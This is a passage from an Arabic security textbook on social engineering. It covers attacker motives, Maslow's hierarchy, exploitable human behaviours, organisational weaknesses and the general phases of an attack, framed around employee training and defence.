‫ﺗﺷﻛﯾل اﻟﻘواﻧﯾن ﻟﻣﻧﻊ ھذا اﻟﺳﻠوك‪ .‬اﻷﺧﻼق ھﻲ ﻣﺎ ﯾﻔﺻل ﺑﯾن اﻷھداف ﻣن ﺻﻧﻊ اﻟﻣﺎل اﻟﯾوﻣﻲ؛ ﻣﺛل ﺟﻣﻊ أﻣواﻟﮭم ﻋن طرﯾﻖ ﺳرﻗﺔ اﻟﻣﻌرﻓﺔ‬
‫واﺳﺗﺧداﻣﮫ ﺑطرﯾﻘﺔ ﻏﯾر ﻣﺻرح ﺑﮭﺎ‪.‬‬
‫اﻟﺪواﻓﻊ )‪(Goal‬‬
‫اﻟدﻛﺗور ‪ ،Max Kilger‬اﻟﻣؤﻟف اﻟﻣﺷﺎرك ﻟﻣﺷروع ‪ ،Honeynet‬ﺣدد ﺳﺗﺔ دواﻓﻊ ﻟﻧﺷﺎط اﻟﻛﻣﺑﯾوﺗر اﻟﻐﯾر أﺧﻼﻗﻲ‪ .‬ھذه اﻟدواﻓﻊ ﯾﻣﻛن ﺗطﺑﯾﻘﮭﺎ‬
‫ﻓﯾﻣﺎ ﯾﺗﻌﻠﻖ ﺑﺎﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ .‬اﻟدواﻓﻊ اﻟﺳت ھﻲ‪ :‬اﻟﻣﺎل‪ ،‬واﻟﺗرﻓﯾﮫ‪ ،‬ﻋﻠو اﻟذات‪ ،‬اﻟﺳﺑب‪ ،‬ﻣدﺧل إﻟﻰ ﻓﺋﺔ اﺟﺗﻣﺎﻋﯾﺔ واﻟوﺿﻊ داﺧل اﻟﻣﺟﺗﻣﻊ‪.‬‬
‫ھذه اﻟدواﻓﻊ ﻣﺗﺷﺎﺑﮭﺔ ﻓﻲ أي ﻣﺟﺗﻣﻊ )أي ‪-‬اﻟﻧﺎس ﯾرﯾدون ﻛﺳب اﻟﻣزﯾد ﻣن اﻟﻣﺎل أو أن ﯾﻘﺑل ﻓﻲ ﻣﺟﻣوﻋﺔ اﺟﺗﻣﺎﻋﯾﺔ(‪ .‬ﻣن اﻟﻣﮭم أن ﻧﻼﺣظ أن‬
‫اﻟدﻛﺗور ‪ Kilger‬ﻟم ﯾﺷﻣل ﺑﻌض اﻟدواﻓﻊ اﻟرﺋﯾﺳﯾﺔ اﻷﺧرى ﻣﺛل‪ :‬اﻟﻣﻌرﻓﺔ‪ ،‬واﻻﻧﺗﻘﺎم واﻟﻔﺿول‪ .‬ﯾﻣﻛن أن ﯾﻧظر ﻟﻛل ﻣن ھذه اﻟﻣﺣﻔزات ﻋﻠﻰ‬
‫أﻧﮭﺎ ھدف ﻟﻠﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ .‬اﻟﮭدف اﻟﻧﮭﺎﺋﻲ‪ ،‬ھﻲ اﻟﻣﻌﻠوﻣﺎت؛ اﻟﻣﻌﻠوﻣﺎت اﻟﻼزﻣﺔ ﻟﺗﻠﺑﯾﺔ اﻟﻣﺣﻔزات اﻟﻣذﻛورة آﻧﻔﺎ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪793‬‬

‫ھﺮم ﻣﺎ ﺳﻠﻮ ﻟﻼﺣﺘﯿﺎﺟﺎت )‪(Maslow’s Hierarchy of Needs‬‬

‫ﯾﺻور اﻟﺷﻛل اﻟﺗﺎﻟﻲ اﻻﺣﺗﯾﺎﺟﺎت اﻷﺳﺎﺳﯾﺔ ﻟﻠﺑﻘﺎء ﻋﻠﻰ ﻗﯾد اﻟﺣﯾﺎة ﻧﺟدھﺎ ﻓﻲ اﻟﺟزء اﻟﺳﻔﻠﻲ ﻣن اﻟﻣﺛﻠث‪ .‬اﺣﺗﯾﺎﺟﺎت اﻟﺗﻘدﯾر وﺗﺣﻘﯾﻖ اﻟذات ﻧﺟدھﺎ‬
‫ﻓﻲ أﻋﻠﻰ اﻟﺗﺳﻠﺳل اﻟﮭرﻣﻲ‪ .‬ﻋﻠﻰ اﻟرﻏم ﻣن أﻧﮫ ﺗم ﺗﺣدﯾث اﻟﻣﺧطط اﻷﺻﻠﻲ؛ وﻟﻛن ﯾﻔﺿل ھذا اﻟرﺳم اﻟﺗﺧطﯾطﻲ ﻣن ﻋﺎم ‪ 1970‬ﻧظرا ﻷﻧﮫ‬
‫ﯾﺗﺿﻣن اﻟﺣﺎﺟﺔ اﻟﻣﻌرﻓﯾﺔ ﻣن اﻟﻣﻌرﻓﺔ‪ ،‬واﻟداﻓﻊ اﻟرﺋﯾﺳﻲ ﻟﻠﺳﻠوك اﻹﺟراﻣﻲ‪.‬‬

‫ﺑﺎﺳﺗﺧدام ھذا اﻟﺗﺳﻠﺳل اﻟﮭرﻣﻲ‪ ،‬ﯾﻣﻛن ﻟﻠﻣرء أن ﯾرى أن ﻓﻲ ﻗﺎﻋدة اﻟﮭرم أﻛﺛر اﻷﺷﯾﺎء اﺣﺗﯾﺎﺟﯾﮫ ﻟﻠﺣﯾﺎة؛ وھﻲ اﻟﺣﺎﺟﺔ إﻟﻰ اﻟطﻌﺎم واﻟﺷراب‬
‫واﻟﺗﻧﻔس‪ .‬ﻓﺎﻟﺣﯾﺎة اﻷﺳﺎﺳﯾﺔ ﺗﺣﺗﺎج ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن اﻟﻰ ﺑﻌض ﻣن اﻟﻣﺎل‪ ،‬واﻟﺗﻲ ﻗد ﯾﻣﻛن اﻟﺣﺻول ﻋﻠﯾﮭﺎ ﻋن طرﯾﻖ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪.‬‬
‫ﯾﻣﻛن وﺿﻊ ﻛل ھدف ﻣن اﻷھداف واﻟﻣﺣﻔزات ﻓﻲ اﻟﺗﺳﻠﺳل اﻟﮭرﻣﻲ ﻟﻼﺣﺗﯾﺎﺟﺎت؛ ﺑﻌض اﻻﺣﺗﯾﺎﺟﺎت ﻗد ﺗﺷﻐل أﺳﺎﻟﯾب ﻣﺧﺗﻠﻔﺔ ﻣن اﻟﮭﻧدﺳﺔ‬
‫اﻻﺟﺗﻣﺎﻋﯾﺔ‪ .‬ﺗﺣﻘﯾﻖ اﻟذات؛ أو ‪ ،ego‬اﻻﺣﺗرام‪ ،‬واﻟوﺿﻊ‪ ،‬ﯾﻣﻛن اﻟﻌﺛور ﻋﻠﯾﮭﺎ ﻓﻲ اﻟﻘﻣﺔ‪ ،‬أو ﺑﺎﻟﻘرب ﻣن ﻗﻣﺔ اﻟﮭرم‪ .‬اﻟﺣﺎﻓز رﺋﯾﺳﻲ ﻓﻲ ﻛﺛﯾر ﻣن‬
‫اﻷﺣﯾﺎن ﯾﻣﻛن أن ﺗﻛون اﻟﺣﺎﺟﺔ إﻟﻰ اﻟﻣﻌرﻓﺔ‪.‬‬
‫‪Social Engineering as a Protection‬‬
‫ﻣن ﻧﺎﺣﯾﺔ أﺧرى‪ ،‬أﺻﺑﺣت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﺗﺷﻐل دورا ﻛﺑﯾرا ﺟدا ﻓﻲ اﺧﺗﺑﺎر اﻻﺧﺗراق‪ .‬ﻓﻲ ﻣﺣﺎوﻟﺔ ﻟﻠﻣﺳﺎﻋدة ﻋﻠﻰ ﺗﺄﻣﯾن ﺷرﻛﺔ أو‬
‫ﻣﺳﺎﻋدﺗﮭم ﻋﻠﻰ رؤﯾﺔ اﻷﺧطﺎر اﻟﺗﻲ ﺗﻛﻣن ﻓﻲ ﻋﺎﻟم اﻷﻋﻣﺎل ﺣﯾث ﯾﺳﺗﺧدم ﻣﺧﺗﺑر اﻻﺧﺗراق ﻧﻔس ﺗﻘﻧﯾﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﺗﻲ ﯾﺳﺗﺧدﻣﮭﺎ‬
‫اﻟﻘراﺻﻧﺔ‪ ،‬وﻟﻛن ﻣﻊ ﻓﺎرق واﺣد ﻛﺑﯾر وھو اﻟداﻓﻊ‪ .‬ﻣﺧﺗﺑر اﻻﺧﺗراق ﻗد ﯾﺳﺗﺧدم ﺟﻣﯾﻊ ﺗﻛﺗﯾﻛﺎت اﻟﺧداع واﻟﺗﻛﻧوﻟوﺟﯾﺎ اﻟﺳرﯾﺔ وﻟﻛن ﻋﻧدﻣﺎ ﯾﺣﺻل‬
‫ﻋﻠﻰ اﻟﻣﻌﻠوﻣﺎت ﻓﺎﻧﮫ ﯾﻘوم ﺑﺗﺳﺟﯾﻠﮭﺎ ﻟﻣﺳﺎﻋدة اﻟﺷرﻛﺎت ﻋﻠﻰ وﺿﻊ ﺳﯾﺎﺳﺗﮭم وﻣﻌﺎﯾﯾرھم‪ ،‬ﺑﺎﻹﺿﺎﻓﺔ اﻟﻰ ﺧطﺔ اﻟﺗﻌﻠﯾم ﻟﺗﻔﺎدى ھذا اﻟﮭﺟوم‪.‬‬

‫اﻟﺳﻠوﻛﯾﺎت اﻟﻌرﺿﺔ ﻟﻠﮭﺟﻣﺎت‬

‫ﯾﻣﻛن ﻟﻠﻣﮭﺎﺟم اﻻﺳﺗﻔﺎدة ﻣن اﻟﺳﻠوﻛﯾﺎت وطﺑﯾﻌﺔ اﻟﺷﻌب اﻟﺗﺎﻟﯾﺔ ﻻرﺗﻛﺎب ھﺟﻣﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ .‬وﯾﻣﻛن ﻟﮭذه اﻟﺳﻠوﻛﯾﺎت أن ﺗﻛون ﻧﻘﺎط‬
‫اﻟﺿﻌف ﺑﺎﻟﻧﺳﺑﺔ ﻟﮭﺟﻣﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪:‬‬
‫‪ -‬اﻟطﺑﯾﻌﺔ اﻟﺑﺷرﯾﺔ ﻣن اﻟﺛﻘﺔ ﺑﻧﻔﺳﮭﺎ ﯾﺻﺑﺢ اﻷﺳﺎس اﻟرﺋﯾﺳﻲ ﻟﮭﺟﻣﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ .‬ﯾﺗﻌﯾن ﻋﻠﻰ اﻟﺷرﻛﺎت أن ﺗﺄﺧذ زﻣﺎم اﻟﻣﺑﺎدرة‬
‫ﻓﻲ ﺗﺛﻘﯾف اﻟﻣوظﻔﯾن اﻟﺳﻠﯾم ﻋن ﻧﻘﺎط اﻟﺿﻌف اﻟﻣﺣﺗﻣﻠﺔ وﺣول ھﺟﻣﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﺣﺗﻰ ﯾﻛون اﻟﻣوظﻔﯾن أﻛﺛر ﺣذرا‪.‬‬
‫‪ -‬أﺣﯾﺎﻧﺎ ﯾذھب اﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﯾن اﻟﻰ ﺗﮭدﯾد أھداﻓﮭم ﻓﻲ ﺣﺎﻟﺔ رﻓض طﻠﺑﺎﺗﮭم‪.‬‬
‫‪ -‬ﻋﻧدﻣﺎ ﺗﻛون اﻷﻣور ﻻ ﺗﻌﻣل ﻣﻊ اﻟﺗﮭدﯾد‪ ،‬ﻓﺈﻧﮭﺎ ﯾﺳﺗدرج اﻟﮭدف ﻋن طرﯾﻖ وﻋود ﺑﺄﻧواع ﻣﺧﺗﻠﻔﺔ ﻣن أﺷﯾﺎء ﻣﺛل اﻟﻧﻘود أو اﻟﻣزاﯾﺎ‬
‫اﻷﺧرى‪ .‬ﻓﻲ ﻣﺛل ھذه اﻟﺣﺎﻻت‪ ،‬ﻗد ﺗﺟذب اﻟﮭدف وھﻧﺎك إﻣﻛﺎﻧﯾﺔ ﺗﺳرب ﺑﯾﺎﻧﺎت اﻟﺷرﻛﺔ اﻟﺣﺳﺎﺳﺔ‪.‬‬
‫‪ -‬ﻓﻲ ﺑﻌض اﻷﺣﯾﺎن‪ ،‬ﺗﺗﻌﺎون اﻷھداف ﻣﻊ اﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﯾن ﺑﺳﺑب اﻻﻟﺗزاﻣﺎت اﻻﺟﺗﻣﺎﻋﯾﺔ‪.‬‬
‫‪ -‬اﻟﺟﮭل ﺑﺎﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ وآﺛﺎره اﻟﺗﻲ ﺗﻧﺞ ﻋﻧﮫ ﻣن ﻗﺑل اﻟﻘوى اﻟﻌﺎﻣﻠﺔ ﯾﺟﻌل اﻟﻣﻧظﻣﺔ ھدﻓﺎ ﺳﮭﻼ‪.‬‬
‫‪ -‬ﯾﻣﻛن ﻟﻠﺷﺧص أﯾﺿﺎ اﻟﻛﺷف ﻋن اﻟﻣﻌﻠوﻣﺎت اﻟﺣﺳﺎﺳﺔ ﻣن أﺟل ﺗﺟﻧب اﻟوﻗوع ﻓﻲ ورطﺔ ﻣن ﺧﻼل ﻋدم ﺗوﻓﯾر اﻟﻣﻌﻠوﻣﺎت‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪794‬‬

‫اﻟﻌواﻣل اﻟﺗﻲ ﺗﺟﻌل اﻟﺷرﻛﺎت ﻋرﺿﺔ ﻟﮭﺟﻣﺎت‬

‫اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﯾﻣﻛن أن ﯾﻛون ﺗﮭدﯾدا ﻛﺑﯾرا ﻋﻠﻰ اﻟﺷرﻛﺎت‪ .‬ﻓﺈﻧﮫ ﻻ ﯾﻣﻛن اﻟﺗﻧﺑؤ ﺑﮫ‪ .‬ﻻ ﯾﻣﻛن أن ﯾﻣﻧﻊ إﻻ ﻣن ﺧﻼل ﺗﺛﻘﯾف اﻟﻣوظﻔﯾن ﺣول‬
‫اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ واﻟﺗﮭدﯾدات اﻟﻣرﺗﺑطﺔ ﺑﮫ‪ .‬ھﻧﺎك اﻟﻌدﯾد ﻣن اﻟﻌواﻣل اﻟﺗﻲ ﺗﺟﻌل اﻟﺷرﻛﺎت ﻋرﺿﺔ ﻟﻠﮭﺟﻣﺎت‪ .‬ﺳوف ﻧذﻛر ﻋدد ﻗﻠﯾل ﻣن‬
‫اﻟﻌواﻣل ﻋﻠﻰ اﻟﻧﺣو اﻟﺗﺎﻟﻲ‪:‬‬
‫اﻟﺘﺪرﯾﺐ اﻷﻣﻨﻲ ﻏﯿﺮ ﻛﺎﻓﻲ )‪(Insufficient Security Training‬‬

‫أن أﻗل ﻣﺳؤوﻟﯾﺔ ﻟدى أي ﻣﻧظﻣﺔ ھو ﺗﺛﻘﯾف ﻣوظﻔﯾﮭﺎ ﺣول اﻟﺟواﻧب اﻷﻣﻧﯾﺔ اﻟﻣﺧﺗﻠﻔﺔ ﺑﻣﺎ ﻓﻲ ذﻟك اﻟﺗﮭدﯾدات ﻣن اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻣن أﺟل‬
‫اﻟﺣد ﻣن ﺗﺄﺛﯾرھﺎ ﻋﻠﻰ اﻟﺷرﻛﺎت‪ .‬ﻋدم اﻟﻣﻌرﻓﺔ ﺣول ﺣﯾل اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ وأﺛرھﺎ‪ ،‬ﻓﺄﻧﮭم ﻗد ﻻ ﯾﻌرﻓون ﺣﺗﻰ أﻧﮭم أﺻﺑﺣوا اھداف‪ .‬وﺑﺎﻟﺗﺎﻟﻲ‪،‬‬
‫ﻓﺈﻧﮫ ﻣن اﻟﻣﺳﺗﺣﺳن ﻋﻠﻰ ﻛل ﺷرﻛﺔ ﺗﺛﻘﯾف أو ﺗدرﯾب ﻣوظﻔﯾﮭﺎ ﺣول اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ وﺗﮭدﯾداﺗﮭﺎ‪.‬‬
‫ﻋﺪم وﺟﻮد ﺳﯿﺎﺳﺎت أﻣﻨﯿﮫ )‪(Lack of Security Policies‬‬

‫ﯾﻧﺑﻐﻲ زﯾﺎدة اﻟﻣﻌﺎﯾﯾر اﻷﻣﻧﯾﺔ ﺑﺷﻛل ﻛﺑﯾر ﻣن ﻗﺑل اﻟﺷرﻛﺎت ﻟﺗﺣﻘﯾﻖ اﻟوﻋﻲ ﻟﻠﻣوظﻔﯾن‪ .‬اﺗﺧﺎذ اﻟﺗداﺑﯾر ﻟﻛل ﺗﮭدﯾد أﻣﻧﻲ ﻣﺣﺗﻣل أو ﺿﻌف‪ .‬وﯾﻣﻛن‬
‫ﻟﻌدد ﻗﻠﯾل ﻣن اﻟﺗداﺑﯾر ﻣﺛل ﺳﯾﺎﺳﺔ ﺗﻐﯾﯾر ﻛﻠﻣﺔ اﻟﻣرور‪ ،‬اﻣﺗﯾﺎزات اﻟوﺻول‪ ،‬ھوﯾﺔ اﻟﻣﺳﺗﺧدم اﻟﻔرﯾدة ﻣن ﻧوﻋﮭﺎ‪ ،‬اﻷﻣن اﻟﻣرﻛزي‪ ،‬وھﻠم ﺟرا أن‬
‫ﯾﻛون ﻣﻔﯾدا‪ .‬ﯾﺟب ﻋﻠﯾك أﯾﺿﺎ ﺗﻧﻔﯾذ ﺳﯾﺎﺳﺔ ﺗﻘﺎﺳم اﻟﻣﻌﻠوﻣﺎت‪.‬‬
‫ﺳﮭﻮﻟﺔ اﻟﻮﺻﻮل اﻟﻰ اﻟﻤﻌﻠﻮﻣﺎت )‪(Easy Access of Information‬‬

‫ﻟﻛل ﺷرﻛﺔ‪ ،‬واﺣدة ﻣن اﻷﺻول اﻟرﺋﯾﺳﯾﺔ ﻟﮭﺎ ھﻲ ﻗﺎﻋدة اﻟﺑﯾﺎﻧﺎت اﻟﺧﺎﺻﺔ ﺑﮫ‪ .‬ﺣﯾث ﯾﺟب ﻋﻠﻰ ﻛل ﺷرﻛﺔ ﺣﻣﺎﯾﺗﮭﺎ ﻣن ﺧﻼل ﺗوﻓﯾر ﺳﯾﺎﺳﺔ أﻣﻧﯾﺔ‬
‫ﻗوﯾﺔ‪ .‬ﯾﺟب ﺗﺟﻧب ﺳﮭوﻟﺔ اﻟوﺻول ﻟﻠﻣﻌﻠوﻣﺎت اﻟﺳرﯾﺔ‪ .‬ﯾﺟب ﺣظر اﻟﻌﺎﻣﻠﯾن ﻟﻠوﺻول اﻟﻰ اﻟﻣﻌﻠوﻣﺎت إﻟﻰ ﺣد ﻣﺎ‪ .‬اﻷﺷﺧﺎص اﻟرﺋﯾﺳﯾﯾن ﻓﻲ‬
‫اﻟﺷرﻛﺔ اﻟذﯾن ﻟدﯾﮭم إﻣﻛﺎﻧﯾﺔ اﻟوﺻول إﻟﻰ اﻟﺑﯾﺎﻧﺎت اﻟﺣﺳﺎﺳﺔ ﯾﻧﺑﻐﻲ ﺗدرﯾﺑﮭم ﺗدرﯾﺑﺎ ﻋﺎﻟﯾﺎ واﻟﻣراﻗﺑﺔ اﻟﻣﻧﺎﺳﺑﺔ ﻻﺑد ﻣن اﻟﺣﻔﺎظ ﻋﻠﯾﮭﺎ‪.‬‬
‫اﻟﻌﺪﯾﺪ ﻣﻦ اﻟﻮﺣﺪات اﻟﺘﻨﻈﯿﻤﯿﺔ )‪(Several Organizational Units‬‬

‫ﻣن اﻟﺳﮭل ﻟﻠﻣﮭﺎﺟﻣﯾن اﻧﺗزاع اﻟﻣﻌﻠوﻣﺎت ﺣول ﻣﺧﺗﻠف اﻟوﺣدات اﻟﺗﻧظﯾﻣﯾﺔ اﻟﻣذﻛورة ﻋﻠﻰ ﺷﺑﻛﺔ اﻹﻧﺗرﻧت ﻷﻏراض اﻹﻋﻼن أو اﻟﺗروﯾﺞ‪.‬‬

‫ﻟﻣﺎذا ﻛون اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻓﻌﺎﻟﺔ؟‬

‫ﻣﺎ ﯾﻠﻲ ھو اﻟﺳﺑب ﻓﻲ ﻛون اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻓﻌﺎﻟﺔ ﺟدا‪:‬‬

‫ﻋﻠﻰ اﻟرﻏم ﻣن وﺟود ﺳﯾﺎﺳﺎت أﻣﻧﯾﺔ ﻣﺧﺗﻠﻔﺔ‪ ،‬ﻻ ﯾﻣﻛﻧك ﻣﻧﻊ اﻟﻧﺎس ﻣن أن ﯾﺟري ﻋﻠﯾﮭﺎ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﺣﯾث أن اﻟﻌﺎﻣل اﻟﺑﺷري‬ ‫‪-‬‬
‫ھو اﻷﻛﺛر ﻋرﺿﺔ ﻟﻠﺗﻐﯾﯾر وﻣن اﻟﺻﻌب اﻟﺗﺣﻛم ﻓﯾﮫ‪.‬‬
‫ﻣن اﻟﺻﻌب اﻟﻛﺷف ﻋن ﻣﺣﺎوﻻت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ .‬اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ھﻲ ﻓن وﻋﻠم ﺣﻣل اﻟﻧﺎس ﻋﻠﻰ اﻻﻣﺗﺛﺎل ﻟرﻏﺑﺎت‬ ‫‪-‬‬
‫اﻟﻣﮭﺎﺟم‪ .‬ﻏﺎﻟﺑﺎ ﻣﺎ ﺗﻛون ھذه ھﻲ اﻟطرﯾﻘﺔ اﻟﺗﻲ ﯾﺣﺻل ﻋﻠﯾﮭﺎ اﻟﻣﮭﺎﺟﻣﯾن ﻗدﻣﺎ داﺧل ﺑﺎب اﻟﺷرﻛﺔ‪.‬‬
‫ﻻ ﺗوﺟد طرﯾﻘﺔ ﯾﻣﻛﻧﮭﺎ ﺿﻣﺎن اﻷﻣن اﻟﻛﺎﻣل ﺿد ھﺟﻣﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪.‬‬ ‫‪-‬‬
‫ﻻ ﯾوﺟد أي أﺟﮭزة أو ﺑراﻣﺞ ﻣﺗﺎﺣﺔ ﻟﻠدﻓﺎع ﺿد ھﺟﻣﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪.‬‬ ‫‪-‬‬

‫ﻣراﺣل اﻟﮭﺟوم ﻓﻲ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ )‪(Phases In A Social Engineering Attack‬‬

‫اﻟﻣﮭﺎﺟم ﯾﻧﻔذ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻓﻲ اﻟﺗﺳﻠﺳل اﻟﺗﺎﻟﻲ‪.‬‬

‫اﻟﺒﺤﺚ ﻋﻦ اﻟﺸﺮﻛﺔ اﻟﻤﺴﺘﮭﺪﻓﺔ‬

‫اﻟﻣﮭﺎﺟم‪ ،‬ﻗﺑل ﻣﮭﺎﺟﻣﺔ أي ﺷﺑﻛﺔ ﻓﻲ اﻟواﻗﻊ‪ ،‬ﯾﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت ﻣن أﺟل إﯾﺟﺎد اﻟﺳﺑل اﻟﻣﻣﻛﻧﺔ ﻟدﺧول اﻟﺷﺑﻛﺔ اﻟﻣﺳﺗﮭدﻓﺔ‪ .‬اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ھﻲ‬
‫واﺣدة ﻣﺛل ھذه اﻟﺗﻘﻧﯾﺔ ﻻﻧﺗزاع اﻟﻣﻌﻠوﻣﺎت‪ .‬اﻟﻣﮭﺎﺟم ﯾﻘوم ﻓﻲ اﻟﺑداﯾﺔ ﺑﺄﺑﺣﺎث ﻋﻠﻰ اﻟﺷرﻛﺔ اﻟﻣﺳﺗﮭدﻓﺔ ﻟﻠﻌﺛور ﻋﻠﻰ اﻟﻣﻌﻠوﻣﺎت اﻷﺳﺎﺳﯾﺔ ﻣﺛل ﻧوع‬
‫اﻷﻋﻣﺎل‪ ،‬ﻣوﻗﻊ اﻟﻣﻧظﻣﺔ‪ ،‬ﻋدد اﻟﻣوظﻔﯾن‪ ،‬وﻣﺎ إﻟﻰ ذﻟك وﺧﻼل ھذه اﻟﻣرﺣﻠﺔ‪ ،‬اﻟﻣﮭﺎﺟم ﻗد ﯾﺟري اﻟﺑﺣث ﻓﻲ اﻟﻘﻣﺎﻣﺔ‪ ،‬ﺗﺻﻔﺢ ﻣوﻗﻊ اﻟﺷرﻛﺔ‪،‬‬
‫اﻟﻌﺛور ﻋﻠﻰ ﺗﻔﺎﺻﯾل ﻣوظف‪ ،‬إﻟﺦ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪795‬‬

‫ﺗﺤﺪﯾﺪ اﻟﻀﺤﯿﺔ‬

‫ﺑﻌد إﺟراء ﺑﺣوث ﻣﺗﻌﻣﻘﺔ ﻋن اﻟﺷرﻛﺔ اﻟﻣﺳﺗﮭدﻓﺔ‪ ،‬اﻟﻣﮭﺎﺟم ﯾﺧﺗﺎر اﻟﺿﺣﯾﺔ اﻟرﺋﯾﺳﯾﺔ ﻟﻣﺣﺎوﻟﺔ اﺳﺗﻐﻼﻟﮭﺎ ﻟﻼﺳﺗﯾﻼء ﻋﻠﻰ اﻟﻣﻌﻠوﻣﺎت اﻟﺣﺳﺎﺳﺔ‬
‫واﻟﻣﻔﯾدة‪ .‬اﻟﻣوظﻔﯾن اﻟﺳﺎﺧطﯾن ﻟﻠﺷرﻛﺔ ھﻲ أﻛﺑر ﻓرﺻﮫ ﻟﻠﻣﮭﺎﺟم‪ .‬اﻟﻣﮭﺎﺟم ﯾﺣﺎول أن ﯾﺟد ھؤﻻء اﻟﻣوظﻔﯾن واﺳﺗدراﺟﮭم ﻟﻠﻛﺷف ﻋن ﻣﻌﻠوﻣﺎت‬
‫اﻟﺷرﻛﺔ‪ .‬ﺣﯾث أﻧﮭم ﻏﯾر راﺿﯾن ﻋن اﻟﺷرﻛﺔ‪ ،‬ﻓﺈﻧﮭم ﻗد ﯾﻛوﻧﺎ ﻋﻠﻰ اﺳﺗﻌداد ﻟﺗﺳرﯾب أو اﻟﻛﺷف ﻋن اﻟﺑﯾﺎﻧﺎت اﻟﺣﺳﺎﺳﺔ ﻟﻠﺷرﻛﺔ إﻟﻰ اﻟﻣﮭﺎﺟم‪.‬‬
‫ﺗﻄﻮﯾﺮ اﻟﻌﻼﻗﺔ‬

‫ﺑﻣﺟرد أن ﯾﺗم ﺗﺣدﯾد ھؤﻻء اﻟﻣوظﻔﯾن‪ ،‬ﻓﺎن اﻟﻣﮭﺎﺟﻣﯾن ﯾدﺧﻠون ﻓﻲ ﻣﺣﺎوﻟﺔ ﻟﺗطوﯾر اﻟﻌﻼﻗﺎت ﻣﻌﮭم ﺣﺗﻰ ﯾﺗﻣﻛﻧوا ﻣن اﺳﺗﺧراج اﻟﻣﻌﻠوﻣﺎت‬
‫اﻟﺳرﯾﺔ ﻣﻧﮭﺎ‪ .‬ﺑﻌد ذﻟك ﯾﻘوﻣوا ﻻﺳﺗﺧدام ھذه اﻟﻣﻌﻠوﻣﺎت ﻻﺳﺗﺧراج اﻟﻣزﯾد ﻣن اﻟﻣﻌﻠوﻣﺎت أو ﻟﺷن ھﺟﻣﺎت‪.‬‬
‫اﺳﺘﻐﻼل اﻟﻌﻼﻗﺔ‬

‫ﺑﻣﺟرد ﻗﯾﺎم ﻟﻣﮭﺎﺟم ﺑﺑﻧﺎء ﻋﻼﻗﺔ ﻣﻊ اﻟﻌﺎﻣﻠﯾن ﻓﻲ اﻟﺷرﻛﺔ‪ ،‬ﻓﺎن ﯾﺣﺎول اﺳﺗﻐﻼل اﻟﻌﻼﻗﺔ ﻣﻊ ﻣوظﻔﻲ اﻟﺷرﻛﺔ وﯾﺣﺎول اﺳﺗﺧراج ﻣﻌﻠوﻣﺎت ﺣﺳﺎﺳﺔ‬
‫ﻣﺛل ﻣﻌﻠوﻣﺎت اﻟﺣﺳﺎب‪ ،‬واﻟﻣﻌﻠوﻣﺎت اﻟﻣﺎﻟﯾﺔ‪ ،‬واﻟﺗﻛﻧوﻟوﺟﯾﺎت اﻟﺣﺎﻟﯾﺔ اﻟﻣﺳﺗﺧدﻣﺔ‪ ،‬وﺧطط اﻟﻣﺳﺗﻘﺑل‪ ،‬اﻟﺦ‪.‬‬

‫ﺗﺄﺛﯾر اﻟﮭﻧدﺳﺔ اﻟﻌﻛﺳﯾﺔ ﻋﻠﻰ اﻟﻣﻧظﻣﺎت )‪(Impact On The Organization‬‬

‫ﻋﻠﻰ اﻟرﻏم ﻣن ان اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻻ ﺗﺑدو ﺗﮭدﯾدا ﺧطﯾرا‪ ،‬وﻟﻛﻧﮫ ﯾﻣﻛن أن ﯾؤدي إﻟﻰ ﺧﺳﺎﺋر ﻛﺑﯾرة ﻟﻠﺷرﻛﺔ‪ .‬ﻣﺧﺗﻠف أﺷﻛﺎل اﻟﺧﺳﺎرة اﻟﻧﺎﺟﻣﺔ‬
